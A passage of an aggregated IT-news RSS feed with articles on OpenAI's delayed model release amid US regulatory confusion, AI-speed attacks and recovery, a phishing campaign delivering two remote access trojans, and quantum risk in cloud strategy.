<p>This unpredictability is likely to have impacts on AI strategy far beyond traditional compliance concerns, Lambros said.</p>



<p>“We’ve built way too much operational reliance on these models to hang it on a review with no rulebook,” he said, pointing out that hospitals, pipelines, banks and water utilities are relying on frontier AI whose availability “can swing from ‘on’ to ‘off’ to ‘on’ with no notice, no appeal, and no published standard behind any of it.”</p>



<p>“You can’t run critical infrastructure on a tool that runs fine Friday and is offline by Monday because an approval process nobody can see reached a verdict nobody can predict,” Lambros said. “That is a supply chain risk with a government hand on the switch, and almost nobody has priced it into a continuity plan.”</p>



<p>To protect themselves, companies need to adjust their expectations. “Treat model availability like any single point of failure you don’t own by standing up a fallback you’ve tested, getting a continuity clause in your contract, and drilling for the blackout, because ‘the government backed off this time’ is not a plan,” he advised.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI to release delayed models Thursday amidst a sea of regulatory confusion]]></title>
<description><![CDATA[As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.



Initially, the US gov...]]></description>
<link>https://tsecurity.de/de/3655243/it-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655243/it-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</guid>
<pubDate>Wed, 08 Jul 2026 21:02:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.</p>



<p>Initially, the US government said that it was asking OpenAI to <a href="https://www.infoworld.com/article/4190089/us-tells-openai-to-restrict-access-to-its-most-powerful-ai-model-2.html" target="_blank">limit access to its top models</a>, including the three releasing Thursday, to a short list of companies. OpenAI seemingly agreed and held back their general availability.</p>



<p>But on Wednesday, OpenAI reversed its position, with <a href="https://x.com/OpenAI/status/2074704958419792299?s=20" target="_blank" rel="noreferrer noopener">a statement on X</a> saying simply: “GPT-5.6 Sol, along with Terra and Luna, will launch publicly this Thursday. We’re expanding preview access globally now.” No details were released about the extent of the expansion.</p>



<p>Then the White House issued a statement, a copy of which it emailed to <em>InfoWorld</em>, saying that the US government “did not give OpenAI a ‘green light,’ approval or clearance to release its models. No such permission is required or granted. The Administration does not provide approvals for private companies to release AI models – decisions on timing and scope of releases rest entirely with the companies.”</p>



<p>The statement then quoted from the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/" target="_blank" rel="noreferrer noopener">June 2 White House executive order</a> that said, “nothing in this section shall be construed to authorize the creation of a mandatory governmental licensing, preclearance, or permitting requirement for the development, publication, release, or distribution of new AI models, including frontier models.” It also said, “any testing or meetings with government experts is voluntary. Participation is not required to release a model.”</p>



<p>Yet last month, the US Commerce Department weighed in <a href="https://www.cio.com/article/4186429/anthropic-fable-dispute-suggests-export-no-longer-means-what-it-used-to.html" target="_blank">on how Anthropic’s models can be distributed</a>. </p>



<h2 class="wp-block-heading">The ‘worst of both worlds’</h2>



<p><a href="https://www.linkedin.com/in/lewiscarhart/" target="_blank" rel="noreferrer noopener">Lewis Carhart</a>, CEO of software development firm Comp AI, said the statement is frustrating for IT executives on multiple fronts. </p>



<p>“Think about what that [White House statement] means. OpenAI stationed engineers in Washington for weeks, submitted to government testing, staggered its launch at the government’s request. And the official position is that none of that was required,” Carhart said. “We now have a de facto licensing regime that legally doesn’t exist. There’s no statute, no appeal process, no published criteria. Just [the US Department of] Commerce deciding model by model what ships and when.”</p>



<p>That’s the worst of both worlds, he noted: “All the friction of regulation with none of the predictability. Compliance people have a name for this – it’s an audit with no framework. And the precedent is now locked in for both frontier labs: if you build at the frontier, your launch calendar runs through Washington whether the law says so or not.”</p>



<p>Carhart argued that this regulatory reality should be of extreme concern to enterprise IT executives, given it indicates that model availability is now “a regulatory variable” not driven by the vendor roadmap.</p>



<p>“Anthropic’s most advanced models disappeared from the market for three weeks in June. It was not because of an outage, not because of a pricing change. It was because of an export control directive,” he pointed out. “If your AI architecture assumes the model you deployed today is available tomorrow, that assumption is now demonstrably false. Multi-model resilience just went from nice to have to a board-level risk item.”</p>



<p>It also offers an opportunity, given that a model that cleared government security testing is a model that auditors and boards sign off on faster. “Government review is quietly becoming a procurement asset,” he observed. “The CIOs who win here are the ones who treat ‘regulatory posture of the model itself’ as a line item in vendor risk assessments – most risk teams are still only looking at the provider’s SOC 2 attestation.”</p>



<p><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, agreed with Carhart and described the overall back-and-forth as “a bit of pageantry. OpenAI needs its model to look as powerful, potentially dangerous, as Anthropic’s so it can be a contender to be at the absolute frontier. It also helps to burnish OpenAI’s PR efforts to look more responsible than it has in the past.”</p>



<p>Furthermore, he added, “tech CEOs are acutely aware that flattery towards this administration could keep regulators or the threat of regulation at bay.”</p>



<h2 class="wp-block-heading">Criteria not clear</h2>



<p><a href="https://www.infotech.com/profiles/brian-jackson" target="_blank" rel="noreferrer noopener">Brian Jackson</a>, a principal research director at Info-Tech Research Group, echoed the political concerns. </p>



<p>“What’s still not clear is the actual criteria being used to deem the models safe for release. The government has said that it’s concerned about cybersecurity risk as well as the risk of AI being used to develop biological weapons,” he said. “But so long as the actual release criteria lack transparency, there will be some perception that the evaluation could be politically motivated.”</p>



<p>Jackson said that one, presumably unintended, result of the US government’s efforts to control AI rollouts is that it is making companies look far more seriously at using non-US vendors for AI strategies. </p>



<p>“Organizations are looking for alternatives to the private US-based cloud-delivered frontier models. That’s so they can maintain control over their AI supply chain,” he said. “Chinese open source models are one option that’s available, but there are other options too, from Canada and Europe. Companies can either set up AI access through other APIs not connected to US-based AI providers, or download open-source models to run locally.”</p>



<p>He noted that the added US regulatory risk means that some organizations will avoid becoming entrenched within OpenAI’s and Anthropic’s interfaces, where there’s no option to swap out the LLMs for an alternative.</p>



<h2 class="wp-block-heading">Impacts enterprise AI strategy</h2>



<p><a href="https://zenity.io/authors/rock-lambros" target="_blank" rel="noreferrer noopener">Rock Lambros</a>, director of AI standards and governance at AI agent vendor Zenity, shared the frustration that little to no actionable compliance data is being released. </p>



<p>“Nobody outside a closed room can tell you what standard [the model] passed because it was never written down. For two weeks, [US government officials] kept a model out of defenders’ hands that’s better at guarding your network than breaking into anyone else’s,” Lambros said. “Call that a security review if it helps you sleep better. But it reads to me like a bouncer working a velvet rope nobody hired him to run, waving people through today because he’s in a better mood than he was a couple of weeks ago.”</p>



<p>This unpredictability is likely to have impacts on AI strategy far beyond traditional compliance concerns, Lambros said.</p>



<p>“We’ve built way too much operational reliance on these models to hang it on a review with no rulebook,” he said, pointing out that hospitals, pipelines, banks and water utilities are relying on frontier AI whose availability “can swing from ‘on’ to ‘off’ to ‘on’ with no notice, no appeal, and no published standard behind any of it.”</p>



<p>“You can’t run critical infrastructure on a tool that runs fine Friday and is offline by Monday because an approval process nobody can see reached a verdict nobody can predict,” Lambros said. “That is a supply chain risk with a government hand on the switch, and almost nobody has priced it into a continuity plan.”</p>



<p>To protect themselves, companies need to adjust their expectations. “Treat model availability like any single point of failure you don’t own by standing up a fallback you’ve tested, getting a continuity clause in your contract, and drilling for the blackout, because ‘the government backed off this time’ is not a plan,” he advised.</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4194598/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion.html" target="_blank">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Clean Messy CSV Files with Python: A Beginner’s Guide]]></title>
<description><![CDATA[Learn how to clean CSV files with pandas by handling missing values, duplicate rows, messy text, wrong data types, mixed date formats, invalid emails, and currency values.]]></description>
<link>https://tsecurity.de/de/3654756/ai-nachrichten/how-to-clean-messy-csv-files-with-python-a-beginners-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654756/ai-nachrichten/how-to-clean-messy-csv-files-with-python-a-beginners-guide/</guid>
<pubDate>Wed, 08 Jul 2026 17:19:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how to clean CSV files with pandas by handling missing values, duplicate rows, messy text, wrong data types, mixed date formats, invalid emails, and currency values.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI has collapsed the cyber response window — resilience now starts before the attack]]></title>
<description><![CDATA[Presented by RubrikEnterprise cybersecurity is facing a fundamental speed problem. Frontier AI models are now enabling autonomous attacks that can move from initial access to full system breakout in as little as 27 seconds. That’s faster than any human-operated security workflow can detect, escal...]]></description>
<link>https://tsecurity.de/de/3654755/it-nachrichten/ai-has-collapsed-the-cyber-response-window-resilience-now-starts-before-the-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654755/it-nachrichten/ai-has-collapsed-the-cyber-response-window-resilience-now-starts-before-the-attack/</guid>
<pubDate>Wed, 08 Jul 2026 17:18:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Rubrik</i></p><hr><p>Enterprise cybersecurity is facing a fundamental speed problem. Frontier AI models are now enabling autonomous attacks that can move from initial access to full system breakout <a href="https://www.crowdstrike.com/en-us/press-releases/2026-crowdstrike-global-threat-report/">in as little as 27 seconds</a>. That’s faster than any human-operated security workflow can detect, escalate, and respond.</p><p>As a result, security operations can no longer assume there is time for humans to respond between breach and damage.</p><p>The security posture that enterprises need for the AI era centers on cyber resilience: continuously identifying clean recovery states, mapping critical data and identity dependencies, and automating restoration so that operations can recover in hours not days.</p><p>"Everything that relied on process or human-in-the-loop intervention is no longer going to be able to execute at the speed of the attacks," says Dev Rishi, GM of AI at Rubrik. "If the attacks are happening in 27 seconds, it means I need my recovery to happen just as quickly."</p><h2>Traditional detection and prevention are failing against AI-driven attacks</h2><p>The rules-based logic that has defined enterprise security for decades, such as static access controls, known signature detection and deterministic behavioral policies, was engineered for deterministic software. AI agents behave differently. They're non-deterministic, capable of pursuing the same objective through many different paths, and increasingly capable of circumventing static guardrails by finding alternative routes when one is blocked.</p><p>The deeper problem is that conventional security logic checks identity, permissions, and access, and asks whether each individual access is permitted. But it can’t evaluate whether a sequence of permitted actions, taken across multiple applications, constitutes either a data leak, a destructive operation, or an attack. </p><p>"You need a system that can understand context," Rishi says. "You need to use AI to look at what an agent is doing and say, ‘it looks like what you're doing might be a risk of leaking sensitive data externally.’"</p><h2>How AI agents are blurring the line between internal and external cyber threats</h2><p>Enterprise security has historically maintained a meaningful distinction between external and internal threat vectors. External threats can be multidimensional, lightning fast, and come from a variety of vectors. On the other hand, internal threats were traditionally bounded by what a single human actor could accomplish before detection, constrained in speed, scope, and scale, but that distinction is falling apart as AI agents operate inside enterprise environments.</p><p>These agents have access to multiple systems simultaneously and move at speeds no human employee can match. When an agent makes a mistake, such as a hallucination, misread instruction, or an unintended data transfer, the resulting damage can look operationally identical to a malicious insider attack. And when an external attacker compromises an internal agent, they inherit its full access profile across every connected application.</p><p>"Whether or not the agent is an internal threat because of an inadvertent mistake or because it's been maliciously compromised, you need runtime guardrails that enforce your organizations policies consistently across agents," Rishi says. "The practical answer is an AI-native guardian layer that monitors agent behavior semantically, understands intent across actions, and can block or terminate a misbehaving agent at machine speed, then trigger recovery immediately." </p><h2>Preparing for a world of inevitable compromise</h2><p>Frontier AI models, including those capable of discovering and operationalizing zero-day vulnerabilities autonomously, are changing the economics of attacks. </p><p>As a result, interest in Mythos readiness is growing. Enterprises are increasingly operating under two assumptions: that attacks are inevitable, not exceptional, and that investment in resilience and rapid recovery must be treated as strategically as investment in prevention has been. The shift reframes recovery from a post-incident activity into a capability that is deliberately designed, tested, and continuously validated.</p><p>"The idea that you can recover quickly from an attack is going to become one of the most important facets of security," Rishi says. "It's the insurance policy that organizations now have to treat as a first-class citizen."</p><h2>Why AI-powered cyber resilience depends on small models</h2><p>True cyber resilience is a two-sided coin: it demands both real-time intelligent enforcement to intercept threats in motion, and automated recovery to restore operations immediately. While having backups is a baseline, organizations need workflows that can continuously monitor systems at machine speed, and instantly determine the most recent clean state under attack conditions.</p><p>Applying AI to the first half of that equation—real-time enforcement—creates a fundamental technical and economic challenge. Relying on massive frontier models to monitor every agent action introduces crippling latency overhead and exorbitant computing costs. A guardian AI system that slows down operations or costs as much as the systems it monitors is simply not viable for widespread adoption.</p><p>“It has to be a fast, small, and cheap AI model,” Rishi says. “No one wants to sign up for a secure solution that doubles their cost or latency.”</p><p>This is why small language models (SLMs) are critical for real-time enforcement. Rubrik’s approach, anchored by its acquisition of Predibase, is to build this frontline defense layer on small models optimized specifically for speed and efficiency. Unlike heavy frontier models, SLMs can semantically evaluate agent behavior at machine speed and at a fraction of the cost, acting as a real-time checkpoint.</p><p>That hyper-efficient enforcement layer is what enables a tighter, seamless connection to recovery. When the system observes an agent taking a destructive action—such as deleting a database, corrupting a critical file, or exfiltrating sensitive data—the small model detects it immediately, halts the damage, identifies the most recent clean snapshot from before the incident, and initiates recovery in a single, automated workflow.</p><h2>The shift from incident response to architectural resilience</h2><p>The broader implication of Mythos and similar frontier AI systems is a shift in how organizations think about security. As AI compresses the gap between attack and impact, resilience and recovery become architectural requirements rather than operational considerations.</p><p>Rubrik’s view is that security systems can no longer stop at detection. As AI agents gain greater autonomy, observability, identity context, and recovery must operate as a coordinated resilience layer. The goal is not simply to identify when something has gone wrong, but to shorten the gap between detection and restoration.</p><p>"The same thing that's introducing the threats, the frontier capabilities of models like Mythos, can also be used to help us combat the threat," Rishi says. "Positioning yourself for the AI era means closing the gap between detecting that something has gone wrong and restoring the systems that were affected, before the cost of that gap compounds."</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FalconStor Cloud Clean Room enables validated recovery without dedicated infrastructure]]></title>
<description><![CDATA[FalconStor has announced FalconStor Cloud Clean Room, an on-demand infrastructure platform designed to let organizations perform validated recovery testing in a persistent secure enclave. Each test starts from a known state, reducing the risk of carrying issues over from previous recovery exercis...]]></description>
<link>https://tsecurity.de/de/3654444/it-security-nachrichten/falconstor-cloud-clean-room-enables-validated-recovery-without-dedicated-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654444/it-security-nachrichten/falconstor-cloud-clean-room-enables-validated-recovery-without-dedicated-infrastructure/</guid>
<pubDate>Wed, 08 Jul 2026 15:23:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>FalconStor has announced FalconStor Cloud Clean Room, an on-demand infrastructure platform designed to let organizations perform validated recovery testing in a persistent secure enclave. Each test starts from a known state, reducing the risk of carrying issues over from previous recovery exercises. Built on FalconStor’s patent-pending zero trust secure enclave (ZTSE) technology, the Cloud Clean Room is designed as a standalone infrastructure layer that can be deployed across multiple use cases and integrated by third-party … <a href="https://www.helpnetsecurity.com/2026/07/08/falconstor-cloud-clean-room-enables-validated-recovery-without-dedicated-infrastructure/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/08/falconstor-cloud-clean-room-enables-validated-recovery-without-dedicated-infrastructure/">FalconStor Cloud Clean Room enables validated recovery without dedicated infrastructure</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The great AI data centre cover-up]]></title>
<description><![CDATA[Tech companies need to come clean about the mounting environmental fallout of their race to build more hubs]]></description>
<link>https://tsecurity.de/de/3654438/ai-nachrichten/the-great-ai-data-centre-cover-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654438/ai-nachrichten/the-great-ai-data-centre-cover-up/</guid>
<pubDate>Wed, 08 Jul 2026 15:19:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tech companies need to come clean about the mounting environmental fallout of their race to build more hubs]]></content:encoded>
</item>
<item>
<title><![CDATA[Cybercriminals exploit India’s tax filing season with a dual-malware campaign]]></title>
<description><![CDATA[Cybercriminals are exploiting India’s tax filing season with a new malware campaign that refuses to put all its eggs in one basket.



Researchers at Cyderes have uncovered a sophisticated phishing operation that poses as the Indian Tax Department to deliver two remote access trojans (RATs) throu...]]></description>
<link>https://tsecurity.de/de/3654181/it-security-nachrichten/cybercriminals-exploit-indias-tax-filing-season-with-a-dual-malware-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654181/it-security-nachrichten/cybercriminals-exploit-indias-tax-filing-season-with-a-dual-malware-campaign/</guid>
<pubDate>Wed, 08 Jul 2026 13:54:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cybercriminals are exploiting India’s tax filing season with a new malware campaign that refuses to put all its eggs in one basket.</p>



<p>Researchers at Cyderes have uncovered a sophisticated phishing operation that poses as the Indian Tax Department to deliver two remote access trojans (RATs) through a multi-stage infection chain, giving attackers persistent access to compromised systems.</p>



<p>Indians receive fake tax assessment emails that pressure them into downloading what appears to be an official ITR utility. But the convincing government branding hides a carefully engineered infection sequence that abuses legitimate Windows binaries, DLL side-loading, in-memory execution, and process injection to gain persistent access.</p>



<p>According to Cyderes, the operation deploys a Gh0st RAT derivative and a .NET-based implant related to the QuasarRAT/AsyncRAT family, each communicating with separate command-and-control (C2) servers.</p>



<p>“The dual-implant design gives the attacker redundant access even if one channel is blocked or detected,” Cyderes researchers said in a blog <a href="https://www.cyderes.com/howler-cell/fake-indian-itr-notice-dual-rat-deployment" target="_blank" rel="noreferrer noopener">post</a>.</p>



<h2 class="wp-block-heading"><a></a>A stealthy, multi-stage infection chain</h2>



<p>To avoid detection, the campaign layers its execution chain, rather than dropping malware immediately after initial access.</p>



<p>Once the victims are lured into downloading and opening the archives posing as legitimate Income Tax Department utilities, trusted Windows executables are abused to load malicious DLLs. This allows the malware to borrow the legitimacy of signed binaries while sidestepping security controls.</p>



<p>“The infection begins with ‘COU_ITR-1_to_4_AY2026-27.exe’, a legitimate and digitally signed binary that the attacker repurposes as a launcher,” the researchers said, adding that it is a known technique where an attacker “places a malicious library in a path the trusted binary will check first, giving the malware a clean entry point.”</p>



<p>The campaign then runs its subsequent infection stages, which employ multiple defense-evasion techniques, including anti-analysis checks, <a href="https://www.csoonline.com/article/573069/how-to-keep-attackers-from-using-powershell-against-you.html">AMSI</a> patching, encrypted in-memory execution of .NET assemblies, and session-aware process injection into svchost.exe.</p>



<p>The multiple attack stages include DLL <a href="https://www.csoonline.com/article/571695/sideloading-attacks-explained-and-why-you-should-train-users-to-spot-them.html">sideloading</a>, privilege checking to ensure the attack process is running with admin rights, and session-aware payload injection.</p>



<h2 class="wp-block-heading"><a></a>Dual implants for operational resilience</h2>



<p>The campaign was particularly flagged for its deliberate use of two distinct RAT families rather than relying on a single backdoor.</p>



<p>While one implant is based on the long-running <a href="https://www.csoonline.com/article/535940/data-protection-amnesty-uk-website-hacked-to-serve-lethal-gh0st-rat-trojan.html">Gh0st RAT</a> lineage, the second belongs to the QuasarRAT/<a href="https://www.csoonline.com/article/4056389/stealthy-asyncrat-flees-the-disk-for-a-fileless-infection.html">AsyncRAT</a> ecosystem. Both provide remote administration capabilities, allowing attackers to execute commands, collect data, deploy additional payloads, and maintain long-term access to infected endpoints.</p>



<p>Each of these RATs communicates with a dedicated command-and-control (c2) infrastructure, likely to survive detection and blocking of either during incident response.</p>



<p>Cyderes recommended focusing on behavioral detections rather than relying solely on EDR signatures, as the campaign abuses trusted Windows components and in-memory execution. Key indicators include DLL sideloading, unexpected service creation, AMSI tampering, native processes hosting the .NET runtime, and process injection into svchost.exe.</p>



<p>The disclosure also provided a detailed set of IOCs, including file hashes, malicious domains, C2 infrastructure, and host artifacts associated with both RAT families.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI changed our cloud strategy. Quantum changes the questions behind it]]></title>
<description><![CDATA[The strangest thing about cloud strategy is how confident it looks in PowerPoint and how nervous it feels in real life.



I’ve sat in rooms where the cloud slide looked clean enough to frame. Public cloud here. Private cloud there. Hybrid for the awkward middle child. Multi-cloud for resilience,...]]></description>
<link>https://tsecurity.de/de/3654083/it-security-nachrichten/ai-changed-our-cloud-strategy-quantum-changes-the-questions-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654083/it-security-nachrichten/ai-changed-our-cloud-strategy-quantum-changes-the-questions-behind-it/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The strangest thing about cloud strategy is how confident it looks in PowerPoint and how nervous it feels in real life.</p>



<p>I’ve sat in rooms where the cloud slide looked clean enough to frame. Public cloud here. Private cloud there. Hybrid for the awkward middle child. Multi-cloud for resilience, bargaining power and the faint hope that no single vendor would ever own our sleep.</p>



<p>Then AI arrived.</p>



<p>At first, it looked like another conversation about workload. Bigger compute. More storage. Faster experiments. Some awkward cost questions. Nothing we couldn’t absorb with a thicker roadmap.</p>



<p>Then the bills landed. The data moved in odd ways. Teams built things before governance could find its shoes. Vendors became more central than anyone had admitted.</p>



<p>The old cloud strategy didn’t collapse. It blushed. AI exposed the assumptions beneath it.</p>



<p>Now, quantum changes something deeper. It asks whether the decisions behind the workload can survive time, secrecy, suppliers, weak evidence and uncertainty.</p>



<p>That’s a much less comfortable meeting.</p>



<h2 class="wp-block-heading">Cloud strategy was built for workloads we thought we understood</h2>



<p>For years, cloud strategy was a sensible debate about location, cost, control and speed. Public cloud for scale. Private cloud for sensitive workloads. Hybrid cloud for compromise. Multi-cloud for resilience, negotiation or, if we’re being honest, organizational politics with a nice diagram.</p>



<p>The logic was sound. Move faster. Cut heavy infrastructure spend. Improve recovery. Give developers what they need before they grow old waiting for a server. It worked because the work behaved in familiar ways. Systems had owners. Costs had patterns. Data had borders, or at least we pretended it did.</p>



<p>The question was simple: Where should this workload live? That question still matters. But it no longer carries enough weight.</p>



<p>AI changed that. AI changed the pattern, not just the platform AI didn’t politely join the cloud strategy. It wandered through the house, opened every cupboard and asked why the plumbing sounded tired.</p>



<p>The first shock was demand.</p>



<p>Traditional systems consume resources in ways you can usually model. AI workloads behave differently. Training, testing, inference and data processing can spike, pause, restart and spread before anyone has agreed on who owns the meter.</p>



<p>Cloud cost control used to ask a billing question, “How much will we use?” AI asks an operating question: “Who is allowed to create demand, at what scale, for what purpose and with whose approval?”</p>



<p>The second shock was data.</p>



<p>AI does more than store data. It chews it, reshapes it, remembers parts of it, produces new versions of it and leaves traces in places people forget to check. Prompts, logs, embeddings, model outputs, copied files and forgotten notebooks can become quiet risk pockets.</p>



<p>A cloud strategy that only asks where data sits misses how data behaves.</p>



<p>The third shock was supplier dependency.</p>



<p>Many firms thought they had a cloud strategy. AI revealed they had a supplier dependency strategy wearing a cloud badge. GPUs, model platforms, managed services, specialist APIs and third-party tools became central to delivery.</p>



<p>AI compressed the distance between idea and exposure. A team could test, connect and release faster than governance could form a working group. I say that with affection. I’ve seen working groups age in dog years.</p>



<p>Cloud strategy had become a test of decision speed, risk appetite, financial discipline and data control. It now goes beyond architecture.</p>



<p>Then quantum changed the clock.</p>



<h2 class="wp-block-heading">Quantum changes the time horizon</h2>



<p>Quantum risk often gets dumped into the cryptography drawer. That is understandable. It is also dangerous.</p>



<p>The leadership issue adds time to the future of quantum computers.</p>



<p>Some data stolen today may still matter years from now. Some secrets age badly. Trade secrets, legal records, health data, source code, identity data and sensitive contracts don’t all expire at the same speed. Some decay like fruit. Some sit like plutonium.</p>



<p>That is why “harvest now, decrypt later” matters. An attacker may collect encrypted data today and wait for better tools tomorrow. You don’t need to panic. You do need to ask which data has a long secrecy life.</p>



<p>If your most sensitive long-lived data spans cloud platforms, SaaS services, backups, archives, collaboration tools and supplier systems, where exactly is your quantum exposure? Which encryption protects it? Who manages the keys? Which supplier has a plan? Which one has a brochure?</p>



<p>A brochure is a scented candle for anxious executives.</p>



<p>Migration also takes time. Cryptography hides everywhere. In applications. In identity systems. In network devices. In APIs. In firmware. In backup tools. In old systems, nobody wants to touch.</p>



<p>Quantum readiness goes beyond a weekend patch. It is discovery, classification, design, testing, contracts, funding, sequencing and proof.</p>



<p>The risky sentence is, “We’ll revisit this when things become clearer.”</p>



<p>By then, the cheap decisions may have left the building.</p>



<h2 class="wp-block-heading">The real issue is decision infrastructure</h2>



<p>AI exposed assumptions about speed, cost, data and suppliers. Quantum exposes timing, ownership, evidence and memory. Together, they point to a quieter weakness: decision infrastructure.</p>



<p>By decision infrastructure, I mean the system by which leaders frame risk, assign ownership, make trade-offs, record choices, track evidence and revisit assumptions when facts change. That sounds dull. Good. Dull is where serious governance lives. The glamorous stuff gets applause. The dull stuff prevents regret.</p>



<p>Many organizations saw the risk and still failed because too many people saw different pieces of it, and nobody owned the decision. The cloud team sees architecture. Security sees exposure. Legal sees liability. Procurement sees contract gaps. Finance sees cost drift.</p>



<p>The board sees amber. Amber is often where hard decisions go to nap.</p>



<p>This is why AI and quantum belong in the same leadership conversation. AI asks whether your cloud strategy can keep pace. Quantum asks whether it can cope with time. Both punish vague ownership.</p>



<p>Who owns long-term cryptographic exposure? Who can force a supplier conversation? Who accepts residual risk if migration cannot happen fast enough? Who records why a decision was made and when it must be reviewed?</p>



<p>Suppose those questions feel awkward, good. Awkward questions earn their rent.</p>



<h2 class="wp-block-heading">The questions leaders should ask now</h2>



<p>The board needs better questions.</p>



<p>Start with exposure. What protects your most sensitive systems and data? Where do you rely on supplier-managed encryption? Which systems are old, critical, poorly documented and painful to change?</p>



<p>Exposure is a map of assets, data, dependencies and time.</p>



<p>Then ask about ownership. Who owns quantum readiness across cloud, cyber, legal, procurement, privacy, resilience and the business? Who can make trade-off decisions when risk reduction competes with cost and delivery? Which risks are stuck because everyone is involved and nobody is accountable?</p>



<p>Awareness without ownership is just anxiety with better stationery.</p>



<p>Then ask about evidence. Can you show progress by system, supplier, business service and data class? Would your evidence survive a board review, a regulator’s questioning or a post-incident investigation?</p>



<p>Evidence built under pressure is expensive. It is also sweaty. Build the proof trail before the room gets hot.</p>



<p>Finally, ask about timing. Which choices must be made now because migration will take years? What event would trigger faster action? When will the board revisit the risk?</p>



<p>Which delay would you regret if the timeline moves faster than expected?</p>



<p>That last question matters. Regret is often the most honest risk metric in the room.</p>



<h2 class="wp-block-heading">What a quantum-aware cloud strategy looks like</h2>



<p>A quantum-aware cloud strategy is not a glossy side document owned by three cryptographers and a nervous intern.</p>



<p>It is a cloud strategy with better questions built into it:</p>



<ol class="wp-block-list">
<li><strong>Build cryptographic visibility.</strong> Start with the services that matter most. Find the encryption, certificates, protocols, keys, libraries and suppliers that protect them. Perfection can wait. Blindness cannot.</li>



<li><strong>Classify data by secrecy life.</strong> Not just sensitivity. Time. How long must this information stay protected? A short-lived report and a long-life trade secret do not belong in the same queue.</li>



<li><strong>Press suppliers for evidence.</strong> Ask what they are doing, what you must do and how they will prove progress. Confidence is lovely. Evidence pays the rent.</li>



<li><strong>Rank migration by risk.</strong> Start where business value, long-life data, weak visibility and migration pain meet. Treating everything as equal is how serious work becomes theatre.</li>



<li><strong>Change board reporting.</strong> Don’t report quantum as a foggy science project. Report decisions required, risks accepted, blockers, supplier gaps and review dates. Boards govern choices. Give them choices.</li>



<li><strong>Build a review rhythm.</strong> Standards, tools, suppliers, threats and regulations will continue to evolve. A stale roadmap is just a risk register wearing a lab coat.</li>
</ol>



<p>No panic. Panic burns energy and produces bad slides. The aim is readiness with owners, evidence and judgment.</p>



<h2 class="wp-block-heading">The cloud question grew up</h2>



<p>Cloud strategy began as an architecture question.</p>



<p>AI turned it into an operating question. Quantum turns it into a leadership question.</p>



<p>That is the shift.</p>



<p>To handle this well, organizations will need to build decision muscle early. They will know what matters, who owns it, what evidence exists, which suppliers are ready and when the next decision must be made.</p>



<p>But beneath cloud, AI and quantum sits the discipline leaders often avoid until pressure arrives, wearing a suit: decision quality.</p>



<p>AI changed the cloud bill. Quantum changes the clock.</p>



<p>And the clock is where risk hides.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
